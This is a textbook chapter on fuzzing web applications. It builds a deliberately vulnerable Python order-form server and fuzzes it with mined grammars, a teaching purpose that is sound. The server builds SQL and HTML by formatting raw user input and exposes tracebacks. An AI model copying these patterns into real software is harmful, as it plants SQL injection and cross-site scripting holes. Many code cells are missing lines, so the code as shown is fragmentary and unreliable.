Testing Web Applications

In this chapter, we explore how to generate tests for Graphical User Interfaces (GUIs), notably on Web interfaces. We set up a (vulnerable) Web server and demonstrate how to systematically explore its behavior – first with hand-written grammars, then with grammars automatically inferred from the user interface. We also show how to conduct systematic attacks on these servers, notably with code and SQL injection.


  • The techniques in this chapter make use of grammars for fuzzing.
  • Basic knowledge of HTML and HTTP is required.
  • Knowledge of SQL databases is helpful.

A Web User Interface

Let us start with a simple example. We want to set up a Web server that allows readers of this book to buy fuzzingbook-branded fan articles. In reality, we would make use of an existing Web shop (or an appropriate framework) for this purpose. For the purpose of this book, we write our own Web server, building on the HTTP server facilities provided by the Python library.

All of our Web server is defined in a HTTPRequestHandler, which, as the name suggests, handles arbitrary Web page requests.

In [2]:
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

Taking Orders

For our Web server, we need a number of Web pages:

  • We want one page where customers can place an order.
  • We want one page where they see their order confirmed.
  • Additionally, we need pages display error messages such as "Page Not Found".

We start with the order form. The dictionary FUZZINGBOOK_SWAG holds the items that customers can order, together with long descriptions:

In [4]:
    "tshirt": "One FuzzingBook T-Shirt",
    "drill": "One FuzzingBook Rotary Hammer",
    "lockset": "One FuzzingBook Lock Set"

This is the HTML code for the order form. The menu for selecting the swag to be ordered is created dynamically from FUZZINGBOOK_SWAG. We omit plenty of details such as precise shipping address, payment, shopping cart, and more.

In [5]:
<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
  <strong id="title" style="font-size: x-large">Fuzzingbook Swag Order Form</strong>
  Yes! Please send me at your earliest convenience
  <select name="item">
# (We don't use h2, h3, etc. here as they interfere with the notebook table of contents)

        '<option value="{item}">{name}</option>\n'.format(item=item,

  <label for="name">Name: </label><input type="text" name="name">
  <label for="email">Email: </label><input type="email" name="email"><br>
  <label for="city">City: </label><input type="text" name="city">
  <label for="zip">ZIP Code: </label><input type="number" name="zip">
  <input type="checkbox" name="terms"><label for="terms">I have read
  the <a href="/terms">terms and conditions</a></label>.<br>
  <input type="submit" name="submit" value="Place order">

This is what the order form looks like:

In [8]:
Fuzzingbook Swag Order Form

Yes! Please send me at your earliest convenience


This form is not yet functional, as there is no server behind it; pressing "place order" will lead you to a nonexistent page.

Order Confirmation

Once we have gotten an order, we show a confirmation page, which is instantiated with the customer information submitted before. Here is the HTML and the rendering:

In [9]:
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
  <strong id="title" style="font-size: x-large">Thank you for your Fuzzingbook Order!</strong>
  <p id="confirmation">
  We will send <strong>{item_name}</strong> to {name} in {city}, {zip}<br>
  A confirmation mail will be sent to {email}.
  Want more swag?  Use our <a href="/">order form</a>!
In [10]:
HTML(HTML_ORDER_RECEIVED.format(item_name="One FuzzingBook Rotary Hammer",
                                name="Jane Doe",
Thank you for your Fuzzingbook Order!

We will send One FuzzingBook Rotary Hammer to Jane Doe in Seattle, 98104
A confirmation mail will be sent to doe@example.com.

Want more swag? Use our order form!

Terms and Conditions

A Web site can only be complete if it has the necessary legalese. This page shows some terms and conditions.

In [11]:
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
  <strong id="title" style="font-size: x-large">Fuzzingbook Terms and Conditions</strong>
  The content of this project is licensed under the
  <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons
  Attribution-NonCommercial-ShareAlike 4.0 International License.</a>
  To place an order, use our <a href="/">order form</a>.
In [12]:
Fuzzingbook Terms and Conditions

The content of this project is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.

To place an order, use our order form.

Storing Orders

To store orders, we make use of a database, stored in the file orders.db.

In [14]:
ORDERS_DB = "orders.db"

To interact with the database, we use SQL commands. The following commands create a table with five text columns for item, name, email, city, and zip – the exact same fields we also use in our HTML form.

In [15]:
def init_db():
    if os.path.exists(ORDERS_DB):

    db_connection = sqlite3.connect(ORDERS_DB)
    db_connection.execute("DROP TABLE IF EXISTS orders")
    db_connection.execute("CREATE TABLE orders (item text, name text, email text, city text, zip text)")

    return db_connection
In [16]:
db = init_db()

At this point, the database is still empty:

In [17]:
print(db.execute("SELECT * FROM orders").fetchall())

We can add entries using the SQL INSERT command:

In [18]:
db.execute("INSERT INTO orders " +
           "VALUES ('lockset', 'Walter White', 'white@jpwynne.edu', 'Albuquerque', '87101')")

These values are now in the database:

In [19]:
print(db.execute("SELECT * FROM orders").fetchall())
[('lockset', 'Walter White', 'white@jpwynne.edu', 'Albuquerque', '87101')]

We can also delete entries from the table again (say, after completion of the order):

In [20]:
db.execute("DELETE FROM orders WHERE name = 'Walter White'")
In [21]:
print(db.execute("SELECT * FROM orders").fetchall())

Handling HTTP Requests

We have an order form and a database; now we need a Web server which brings it all together. The Python http.server module provides everything we need to build a simple HTTP server. A HTTPRequestHandler is an object that takes and processes HTTP requests – in particular, GET requests for retrieving Web pages.

We implement the do_GET() method that, based on the given path, branches off to serve the requested Web pages. Requesting the path / produces the order form; a path beginning with /order sends an order to be processed. All other requests end in a Page Not Found message.

In [22]:
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
            # print("GET " + self.path)
            if self.path == "/":
            elif self.path.startswith("/order"):
            elif self.path.startswith("/terms"):
        except Exception:

Order Form

Accessing the home page (i.e. getting the page at /) is simple: We go and serve the html_order_form as defined above.

In [23]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def send_order_form(self):
        self.send_response(HTTPStatus.OK, "Place your order")
        self.send_header("Content-type", "text/html")

Likewise, we can send out the terms and conditions:

In [24]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def send_terms_and_conditions(self):
        self.send_response(HTTPStatus.OK, "Terms and Conditions")
        self.send_header("Content-type", "text/html")

Processing Orders

When the user clicks Submit on the order form, the Web browser creates and retrieves a URL of the form


where each field_i is the name of the field in the HTML form, and value_i is the value provided by the user. Values use the CGI encoding we have seen in the chapter on coverage – that is, spaces are converted into +, and characters that are not digits or letters are converted into %nn, where nn is the hexadecimal value of the character.

If Jane Doe doe@example.com from Seattle orders a T-Shirts, this is the URL the browser creates:


When processing a query, the attribute self.path of the HTTP request handler holds the path accessed – i.e., everything after <hostname>. The helper method get_field_values() takes self.path and returns a dictionary of values.

In [26]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def get_field_values(self):
        # Note: this fails to decode non-ASCII characters properly
        query_string = urllib.parse.urlparse(self.path).query

        # fields is { 'item': ['tshirt'], 'name': ['Jane Doe'], ...}
        fields = urllib.parse.parse_qs(query_string, keep_blank_values=True)

        values = {}
        for key in fields:
            values[key] = fields[key][0]

        return values

The method handle_order() takes these values from the URL, stores the order, and returns a page confirming the order. If anything goes wrong, it sends an internal server error.

In [27]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def handle_order(self):
        values = self.get_field_values()

Storing the order makes use of the database connection defined above; we create a SQL command instantiated with the values as extracted from the URL.

In [28]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def store_order(self, values):
        db = sqlite3.connect(ORDERS_DB)
        # The following should be one line
        sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
        self.log_message("%s", sql_command)

After storing the order, we send the confirmation HTML page, which again is instantiated with the values from the URL.

In [29]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def send_order_received(self, values):
        # Should use html.escape()
        values["item_name"] = FUZZINGBOOK_SWAG[values["item"]]
        confirmation = HTML_ORDER_RECEIVED.format(**values).encode("utf8")

        self.send_response(HTTPStatus.OK, "Order received")
        self.send_header("Content-type", "text/html")

Other HTTP commands

Besides the GET command (which does all the heavy lifting), HTTP servers can also support other HTTP commands; we support the HEAD command, which returns the head information of a Web page. In our case, this is always empty.

In [30]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def do_HEAD(self):
        # print("HEAD " + self.path)
        self.send_header("Content-type", "text/html")

Error Handling

We have defined pages for submitting and processing orders; now we also need a few pages for errors that might occur.

Page Not Found

This page is displayed if a non-existing page (i.e. anything except / or /order) is requested.

In [31]:
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
  <strong id="title" style="font-size: x-large">Sorry.</strong>
  This page does not exist.  Try our <a href="/">order form</a> instead.
In [32]:

This page does not exist. Try our order form instead.

The method not_found() takes care of sending this out with the appropriate HTTP status code.

In [33]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def not_found(self):
        self.send_response(HTTPStatus.NOT_FOUND, "Not found")

        self.send_header("Content-type", "text/html")

        message = HTML_NOT_FOUND

Internal Errors

This page is shown for any internal errors that might occur. For diagnostic purposes, we have it include the traceback of the failing function.

In [34]:
<div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
  <strong id="title" style="font-size: x-large">Internal Server Error</strong>
  The server has encountered an internal error.  Go to our <a href="/">order form</a>.
In [35]:
Internal Server Error

The server has encountered an internal error. Go to our order form.


In [37]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def internal_server_error(self):
        self.send_response(HTTPStatus.INTERNAL_SERVER_ERROR, "Internal Error")

        self.send_header("Content-type", "text/html")

        exc = traceback.format_exc()
        self.log_message("%s", exc.strip())

        message = HTML_INTERNAL_SERVER_ERROR.format(error_message=exc)


Our server runs as a separate process in the background, waiting to receive commands at all time. To see what it is doing, we implement a special logging mechanism. The httpd_message_queue establishes a queue into which one process (the server) can store Python objects, and in which another process (the notebook) can retrieve them. We use this to pass log messages from the server, whcih we can than display in the notebook.

In [39]:

Let us place two messages in the queue:

In [40]:
HTTPD_MESSAGE_QUEUE.put("I am another message")
In [41]:
HTTPD_MESSAGE_QUEUE.put("I am one more message")

To distinguish server messages from other parts of the notebook, we format them specially:

In [43]:
def display_httpd_message(message):
    if rich_output():
                '<pre style="background: NavajoWhite;">' +
                message +
In [44]:
display_httpd_message("I am a httpd server message")
I am a httpd server message

The method print_httpd_messages() prints all messages accumulated in the queue so far:

In [45]:
def print_httpd_messages():
    while not HTTPD_MESSAGE_QUEUE.empty():
        message = HTTPD_MESSAGE_QUEUE.get()
In [47]:
I am another message
I am one more message

With clear_httpd_messages(), we can silently discard all pending messages:

In [48]:
def clear_httpd_messages():
    while not HTTPD_MESSAGE_QUEUE.empty():

The method log_message() in the request handler makes use of the queue to store its messages:

In [49]:
class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        message = ("%s - - [%s] %s\n" %
                    format % args))

In the chapter on carving, we had introduced a webbrowser() method which retrieves the contents of the given URL. We now extend it such that it also prints out any log messages produced by the server:

In [51]:
def webbrowser(url, mute=False):
    """Download the http/https resource given by the URL"""
        r = requests.get(url)
        contents = r.text
        if not mute:

    return contents

Running the Server

After all these definitions, we are now ready to get the Web server up and running. We run the server on the local host – that is, the same machine which also runs this notebook. We check for an accessible port and put the resulting URL in the queue created earlier.

The function start_httpd() starts the server in a separate process, which we start using the multiprocessing module. It retrieves its URL from the message queue and returns it, such that we can start talking to the server.

In [54]:
def start_httpd(handler_class=SimpleHTTPRequestHandler):

    httpd_process = Process(target=run_httpd_forever, args=(handler_class,))

    httpd_url = HTTPD_MESSAGE_QUEUE.get()
    return httpd_process, httpd_url

Let us now start the server and save its URL:

In [55]:
httpd_process, httpd_url = start_httpd()

Interacting with the Server

Let us now access the server just created.

Direct Browser Access

If you are running the Jupyter notebook server on the local host as well, you can now access the server directly at the given URL. Simply open the address in httpd_url by clicking on the link below.

Note: This only works if you are running the Jupyter notebook server on the local host.

In [56]:
def print_url(url):
    if rich_output():
        display(HTML('<pre><a href="%s">%s</a></pre>' % (url, url)))
In [57]:

Even more convenient, you may be able to interact directly with the server using the window below.

Note: This only works if you are running the Jupyter notebook server on the local host.

In [58]:
HTML('<iframe src="' + httpd_url + '" ' +
     'width="100%" height="230"></iframe>')

After interaction, you can retrieve the messages produced by the server:

In [59]:

We can also see any orders placed in the database:

In [60]:
print(db.execute("SELECT * FROM orders").fetchall())

And we can clear the order database:

In [61]:
db.execute("DELETE FROM orders")

Retrieving the Home Page

Even if our browser cannot directly interact with the server, the notebook can. We can, for instance, retrieve the contents of the home page and display them:

In [62]:
contents = webbrowser(httpd_url) - - [16/Apr/2019 11:02:03] "GET / HTTP/1.1" 200 -
In [63]:
Fuzzingbook Swag Order Form

Yes! Please send me at your earliest convenience


Placing Orders

To test this form, we can generate URLs with orders and have the server process them.

The method urljoin() puts together a base URL (i.e., the URL of our server) and a path – say, the path towards our order.

In [65]:
urljoin(httpd_url, "/order?foo=bar")

With urljoin(), we can create a full URL that is the same as the one generated by the browser as we submit the order form. Sending this URL to the browser effectively places the order, as we can see in the server log produced:

In [66]:
contents = webbrowser(urljoin(httpd_url,
                              "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104")) - - [16/Apr/2019 11:02:03] INSERT INTO orders VALUES ('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104') - - [16/Apr/2019 11:02:03] "GET /order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104 HTTP/1.1" 200 -

The web page returned confirms the order:

In [67]:
Thank you for your Fuzzingbook Order!

We will send One FuzzingBook T-Shirt to Jane Doe in Seattle, 98104
A confirmation mail will be sent to doe@example.com.

Want more swag? Use our order form!

And the order is in the database, too:

In [68]:
print(db.execute("SELECT * FROM orders").fetchall())
[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104')]

Error Messages

We can also test whether the server correctly responds to invalid requests. Nonexistent pages, for instance, are correctly handled:

In [69]:
HTML(webbrowser(urljoin(httpd_url, "/some/other/path"))) - - [16/Apr/2019 11:02:03] "GET /some/other/path HTTP/1.1" 404 -

This page does not exist. Try our order form instead.

You may remember we also have a page for internal server errors. Can we get the server to produce this page? To find this out, we have to test the server thoroughly – which we do in the remainder of this chapter.

Fuzzing Input Forms

After setting up and starting the server, let us now go and systematically test it – first with expected, and then with less expected values.

Fuzzing with Expected Values

Since placing orders is all done by creating appropriate URLs, we define a grammar ORDER_GRAMMAR which encodes ordering URLs. It comes with a few sample values for names, email addresses, cities and (random) digits.

To make it easier to define strings that become part of a URL, we define the function cgi_encode(), taking a string and autmatically encoding it into CGI:

In [71]:
def cgi_encode(s, do_not_encode=""):
    ret = ""
    for c in s:
        if (c in string.ascii_letters or c in string.digits
                or c in "$-_.+!*'()," or c in do_not_encode):
            ret += c
        elif c == ' ':
            ret += '+'
            ret += "%%%02x" % ord(c)
    return ret
In [72]:
s = cgi_encode('Is "DOW30" down .24%?')

The optional parameter do_not_encode allows us to skip certain characters from encoding. This is useful when encoding grammar rules:

In [73]:
cgi_encode("<string>@<string>", "<>")

cgi_encode() is the exact counterpart of the cgi_decode() function defined in the chapter on coverage:

In [75]:
'Is "DOW30" down .24%?'

Now for the grammar. We make use of cgi_encode() to encode strings:

In [77]:
    "<start>": ["<order>"],
    "<order>": ["/order?item=<item>&name=<name>&email=<email>&city=<city>&zip=<zip>"],
    "<item>": ["tshirt", "drill", "lockset"],
    "<name>": [cgi_encode("Jane Doe"), cgi_encode("John Smith")],
    "<email>": [cgi_encode("j.doe@example.com"), cgi_encode("j_smith@example.com")],
    "<city>": ["Seattle", cgi_encode("New York")],
    "<zip>": ["<digit>" * 5],
    "<digit>": crange('0', '9')
In [78]:
assert is_valid_grammar(ORDER_GRAMMAR)
In [79]:
/order?item= item &name= name &email= email &city= city &zip= zip
tshirt drill lockset
Jane+Doe John+Smith
j.doe%40example.com j_smith%40example.com
Seattle New+York
digit digit digit digit digit
0 1 2 3 4 5 6 7 8 9

Using one of our grammar fuzzers, we can instantiate this grammar and generate URLs:

In [81]:
order_fuzzer = GrammarFuzzer(ORDER_GRAMMAR)
[order_fuzzer.fuzz() for i in range(5)]

Sending these URLs to the server will have them processed correctly:

In [82]:
HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz()))) - - [16/Apr/2019 11:02:05] INSERT INTO orders VALUES ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631') - - [16/Apr/2019 11:02:05] "GET /order?item=lockset&name=Jane+Doe&email=j_smith%40example.com&city=Seattle&zip=16631 HTTP/1.1" 200 -
Thank you for your Fuzzingbook Order!

We will send One FuzzingBook Lock Set to Jane Doe in Seattle, 16631
A confirmation mail will be sent to j_smith@example.com.

Want more swag? Use our order form!

In [83]:
print(db.execute("SELECT * FROM orders").fetchall())
[('tshirt', 'Jane Doe', 'doe@example.com', 'Seattle', '98104'), ('lockset', 'Jane Doe', 'j_smith@example.com', 'Seattle', '16631')]

Fuzzing with Unexpected Values

We can now see that the server does a good job when faced with "standard" values. But what happens if we feed it non-standard values? To this end, we make use of a mutation fuzzer which inserts random changes into the URL. Our seed (i.e. the value to be mutated) comes from the grammar fuzzer:

In [84]:
seed = order_fuzzer.fuzz()

Mutating this string yields mutations not only in the field values, but also in field names as well as the URL structure.

In [86]:
mutate_order_fuzzer = MutationFuzzer([seed], min_mutations=1, max_mutations=1)
[mutate_order_fuzzer.fuzz() for i in range(5)]

Let us fuzz a little until we get an internal server error. We use the Python requests module to interact with the Web server such that we can directly access the HTTP status code.

In [88]:
while True:
    path = mutate_order_fuzzer.fuzz()
    url = urljoin(httpd_url, path)
    r = requests.get(url)
    if r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:

That didn't take long. Here's the offending URL:

In [89]:
In [90]:
HTML(webbrowser(url)) - - [16/Apr/2019 11:02:05] "GET /order?item=drill&nae=Jane+Doe&email=j.doe%40example.com&city=Seattle&zip=45732 HTTP/1.1" 500 - - - [16/Apr/2019 11:02:05] Traceback (most recent call last):
  File "", line 8, in do_GET
  File "", line 4, in handle_order
  File "", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'name'
Internal Server Error

The server has encountered an internal error. Go to our order form.

Traceback (most recent call last):
  File "", line 8, in do_GET
  File "", line 4, in handle_order
  File "", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'name'

How does the URL cause this internal error? We make use of delta debugging to minimize the failure-inducing path, setting up a WebRunner class to define the failure condition:

In [91]:
failing_path = path
In [93]:
class WebRunner(Runner):
    def __init__(self, base_url=None):
        self.base_url = base_url

    def run(self, url):
        if self.base_url is not None:
            url = urljoin(self.base_url, url)

        r = requests.get(url)
        if r.status_code == HTTPStatus.OK:
            return url, Runner.PASS
        elif r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR:
            return url, Runner.FAIL
            return url, Runner.UNRESOLVED
In [94]:
web_runner = WebRunner(httpd_url)

This is the minimized path:

In [96]:
minimized_path = DeltaDebuggingReducer(web_runner).reduce(failing_path)

It turns out that our server encounters an internal error if we do not supply the requested fields:

In [97]:
minimized_url = urljoin(httpd_url, minimized_path)
In [98]:
HTML(webbrowser(minimized_url)) - - [16/Apr/2019 11:02:05] "GET /order HTTP/1.1" 500 - - - [16/Apr/2019 11:02:05] Traceback (most recent call last):
  File "", line 8, in do_GET
  File "", line 4, in handle_order
  File "", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'item'
Internal Server Error

The server has encountered an internal error. Go to our order form.

Traceback (most recent call last):
  File "", line 8, in do_GET
  File "", line 4, in handle_order
  File "", line 5, in store_order
    sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)
KeyError: 'item'

We see that we might have a lot to do to make our Web server more robust against unexpected inputs. The exercises give some instructions on what to do.

Extracting Grammars for Input Forms

In our previous examples, we have assumed that we have a grammar that produces valid (or less valid) order queries. However, such a grammar need not be specified manually; we can also extract it automatically from a Web page at hand. This way, we can apply our test generators on arbitrary Web forms without a manual specification step.

Searching HTML for Input Fields

The key idea of our approach is to identify all input fields in a form. To this end, let us take a look at how the individual elements in our order form are encoded in HTML:

In [99]:
html_text = webbrowser(httpd_url)
print(html_text[html_text.find("<form"):html_text.find("</form>") + len("</form>")]) - - [16/Apr/2019 11:02:05] "GET / HTTP/1.1" 200 -
<form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;">
  <strong id="title" style="font-size: x-large">Fuzzingbook Swag Order Form</strong>
  Yes! Please send me at your earliest convenience
  <select name="item">
  <option value="tshirt">One FuzzingBook T-Shirt</option>
<option value="drill">One FuzzingBook Rotary Hammer</option>
<option value="lockset">One FuzzingBook Lock Set</option>

  <label for="name">Name: </label><input type="text" name="name">
  <label for="email">Email: </label><input type="email" name="email"><br>
  <label for="city">City: </label><input type="text" name="city">
  <label for="zip">ZIP Code: </label><input type="number" name="zip">
  <input type="checkbox" name="terms"><label for="terms">I have read
  the <a href="/terms">terms and conditions</a></label>.<br>
  <input type="submit" name="submit" value="Place order">

We see that there is a number of form elements that accept inputs, in particular <input>, but also <select> and <option>. The idea now is to parse the HTML of the Web page in question, to extract these individual input elements, and then to create a grammar that produces a matching URL, effectively filling out the form.

To parse the HTML page, we could define a grammar to parse HTML and make use of our own parser infrastructure. However, it is much easier to not reinvent the wheel and instead build on the existing, dedicated HTMLParser class from the Python library.

During parsing, we search for <form> tags and save the associated action (i.e., the URL to be invoked when the form is submitted) in the action attribute. While processing the form, we create a map fields that holds all input fields we have seen; it maps field names to the respective HTML input types ("text", "number", "checkbox", etc.). Exclusive selection options map to a list of possible values; the select stack holds the currently active selection.

In [101]:
class FormHTMLParser(HTMLParser):
    def reset(self):
        self.action = ""  # Form action
        # Map of field name to type (or selection name to [option_1, option_2,
        # ...])
        self.fields = {}
        self.select = []  # Stack of currently active selection names

While parsing, the parser calls handle_starttag() for every opening tag (such as <form>) found; conversely, it invokes handle_endtag() for closing tags (such as </form>). attributes gives us a map of associated attributes and values.

Here is how we process the individual tags:

  • When we find a <form> tag, we save the associated action in the action attribute;
  • When we find an <input> tag or similar, we save the type in the fields attribute;
  • When we find a <select> tag or similar, we push its name on the select stack;
  • When we find an <option> tag, we append the option to the list associated with the last pushed <select> tag.
In [102]:
class FormHTMLParser(FormHTMLParser):
    def handle_starttag(self, tag, attrs):
        attributes = {attr_name: attr_value for attr_name, attr_value in attrs}
        # print(tag, attributes)

        if tag == "form":
            self.action = attributes.get("action", "")

        elif tag == "select" or tag == "datalist":
            if "name" in attributes:
                name = attributes["name"]
                self.fields[name] = []

        elif tag == "option" and "multiple" not in attributes:
            current_select_name = self.select[-1]
            if current_select_name is not None and "value" in attributes:

        elif tag == "input" or tag == "option" or tag == "textarea":
            if "name" in attributes:
                name = attributes["name"]
                self.fields[name] = attributes.get("type", "text")

        elif tag == "button":
            if "name" in attributes:
                name = attributes["name"]
                self.fields[name] = [""]
In [103]:
class FormHTMLParser(FormHTMLParser):
    def handle_endtag(self, tag):
        if tag == "select":

Our implementation handles only one form per Web page; it also works on HTML only, ignoring all interaction coming from JavaScript. Also, it does not support all HTML input types.

Let us put this parser to action. We create a class HTMLGrammarMiner that takes a HTML document to parse. It then returns the associated action and the associated fields:

In [104]:
class HTMLGrammarMiner(object):
    def __init__(self, html_text):
        html_parser = FormHTMLParser()
        self.fields = html_parser.fields
        self.action = html_parser.action

Applied on our order form, this is what we get:

In [105]:
html_miner = HTMLGrammarMiner(html_text)
In [106]:
{'item': ['tshirt', 'drill', 'lockset'],
 'name': 'text',
 'email': 'email',
 'city': 'text',
 'zip': 'number',
 'terms': 'checkbox',
 'submit': 'submit'}

From this structure, we can now generate a grammar that automatically produces valid form submission URLs.

Mining Grammars for Web Pages

To create a grammar from the fields extracted from HTML, we build on the CGI_GRAMMAR defined in the chapter on grammars. The key idea is to define rules for every HTML input type: An HTML number type will get values from the <number> rule; likewise, values for the HTML email type will be defined from the <email> rule. Our default grammar provides very simple rules for these types.

In [108]:
class HTMLGrammarMiner(HTMLGrammarMiner):
    QUERY_GRAMMAR = extend_grammar(CGI_GRAMMAR, {
        "<start>": ["<action>?<query>"],

        "<text>": ["<string>"],

        "<number>": ["<digits>"],
        "<digits>": ["<digit>", "<digits><digit>"],
        "<digit>": crange('0', '9'),

        "<checkbox>": ["<_checkbox>"],
        "<_checkbox>": ["on", "off"],

        "<email>": ["<_email>"],
        "<_email>": [cgi_encode("<string>@<string>", "<>")],

        # Use a fixed password in case we need to repeat it
        "<password>": ["<_password>"],
        "<_password>": ["abcABC.123"],

        # Stick to printable characters to avoid logging problems
        "<percent>": ["%<hexdigit-1><hexdigit>"],
        "<hexdigit-1>": srange("34567"),
        # Submissions:
        "<submit>": [""]

Our grammar miner now takes the fields extracted from HTML, converting them into rules. Essentially, every input field encountered gets included in the resulting query URL; and it gets a rule expanding it into the appropriate type.

In [109]:
class HTMLGrammarMiner(HTMLGrammarMiner):
    def mine_grammar(self):
        grammar = extend_grammar(self.QUERY_GRAMMAR)
        grammar["<action>"] = [self.action]

        query = ""
        for field in self.fields:
            field_symbol = new_symbol(grammar, "<" + field + ">")
            field_type = self.fields[field]

            if query != "":
                query += "&"
            query += field_symbol

            if isinstance(field_type, str):
                field_type_symbol = "<" + field_type + ">"
                grammar[field_symbol] = [field + "=" + field_type_symbol]
                if field_type_symbol not in grammar:
                    # Unknown type
                    grammar[field_type_symbol] = ["<text>"]
                # List of values
                value_symbol = new_symbol(grammar, "<" + field + "-value>")
                grammar[field_symbol] = [field + "=" + value_symbol]
                grammar[value_symbol] = field_type

        grammar["<query>"] = [query]

        # Remove unused parts
        for nonterminal in unreachable_nonterminals(grammar):
            del grammar[nonterminal]

        assert is_valid_grammar(grammar)

        return grammar

Let us show HTMLGrammarMiner in action, again applied on our order form. Here is the full resulting grammar:

In [110]:
html_miner = HTMLGrammarMiner(html_text)
grammar = html_miner.mine_grammar()
{'<start>': ['<action>?<query>'],
 '<string>': ['<letter>', '<letter><string>'],
 '<letter>': ['<plus>', '<percent>', '<other>'],
 '<plus>': ['+'],
 '<percent>': ['%<hexdigit-1><hexdigit>'],
 '<hexdigit>': ['0',
 '<other>': ['0', '1', '2', '3', '4', '5', 'a', 'b', 'c', 'd', 'e', '-', '_'],
 '<text>': ['<string>'],
 '<number>': ['<digits>'],
 '<digits>': ['<digit>', '<digits><digit>'],
 '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
 '<checkbox>': ['<_checkbox>'],
 '<_checkbox>': ['on', 'off'],
 '<email>': ['<_email>'],
 '<_email>': ['<string>%40<string>'],
 '<hexdigit-1>': ['3', '4', '5', '6', '7'],
 '<submit>': [''],
 '<action>': ['/order'],
 '<item>': ['item=<item-value>'],
 '<item-value>': ['tshirt', 'drill', 'lockset'],
 '<name>': ['name=<text>'],
 '<email-1>': ['email=<email>'],
 '<city>': ['city=<text>'],
 '<zip>': ['zip=<number>'],
 '<terms>': ['terms=<checkbox>'],
 '<submit-1>': ['submit=<submit>'],
 '<query>': ['<item>&<name>&<email-1>&<city>&<zip>&<terms>&<submit-1>']}

Let us take a look into the structure of the grammar. It produces URL paths of this form:

In [111]:

Here, the <action> comes from the action attribute of the HTML form:

In [112]:

The <query> is composed from the individual field items:

In [113]:

Each of these fields has the form <field-name>=<field-type>, where <field-type> is already defined in the grammar:

In [114]:
In [115]:

These are the query URLs produced from the grammar. We see that these are similar to the ones produced from our hand-crafted grammar, except that the string values for names, email addresses, and cities are now completely random:

In [116]:
order_fuzzer = GrammarFuzzer(grammar)
[order_fuzzer.fuzz() for i in range(3)]

We can again feed these directly into our Web browser:

In [117]:
HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz()))) - - [16/Apr/2019 11:02:05] INSERT INTO orders VALUES ('drill', ' ', '5F @p   a ', 'cdb', '3230') - - [16/Apr/2019 11:02:05] "GET /order?item=drill&name=+&email=5F+%40p+++a+&city=cdb&zip=3230&terms=on&submit= HTTP/1.1" 200 -
Thank you for your Fuzzingbook Order!

We will send One FuzzingBook Rotary Hammer to in cdb, 3230
A confirmation mail will be sent to 5F @p a .

Want more swag? Use our order form!

We see (one more time) that we can mine a grammar automatically from given data.

A Fuzzer for Web Forms

To make things most convenient, let us define a WebFormFuzzer class that does everything in one place. Given a URL, it extracts its HTML content, mines the grammar and then produces inputs for it.

In [118]:
class WebFormFuzzer(GrammarFuzzer):
    def __init__(self, url, **grammar_fuzzer_options):
        html_text = self.get_html(url)
        grammar = self.get_grammar(html_text)
        super().__init__(grammar, **grammar_fuzzer_options)

    def get_html(self, url):
        return requests.get(url).text

    def get_grammar(self, html_text):
        grammar_miner = HTMLGrammarMiner(html_text)
        return grammar_miner.mine_grammar()        

All it now takes to fuzz a Web form is to provide its URL:

In [119]:
web_form_fuzzer = WebFormFuzzer(httpd_url)

We can combine the fuzzer with a WebRunner as defined above to run the resulting fuzz inputs directly on our Web server:

In [120]:
web_form_runner = WebRunner(httpd_url)
web_form_fuzzer.runs(web_form_runner, 10)

While convenient to use, this fuzzer is still very rudimentary:

  • It is limited to one form per page.
  • It only supports GET actions (i.e., inputs encoded into the URL). A full Web form fuzzer would have to at least support POST actions.
  • The fuzzer build on HTML only. There is no Javascript handling for dynamic Web pages.

Let us clear any pending messages before we get to the next section:

In [121]:

Crawling User Interfaces

So far, we have assumed there would be only one form to explore. A real Web server, of course, has several pages – and possibly several forms, too. We define a simple crawler that explores all the links that originate from one page.

Our crawler is pretty straightforward. Its main component is again a HTMLParser that analyzes the HTML code for links of the form

<a href="<link>">

and saves all the links found in a list called links.

In [122]:
class LinkHTMLParser(HTMLParser):
    def reset(self):
        self.links = []

    def handle_starttag(self, tag, attrs):
        attributes = {attr_name: attr_value for attr_name, attr_value in attrs}

        if tag == "a" and "href" in attributes:
            # print("Found:", tag, attributes)

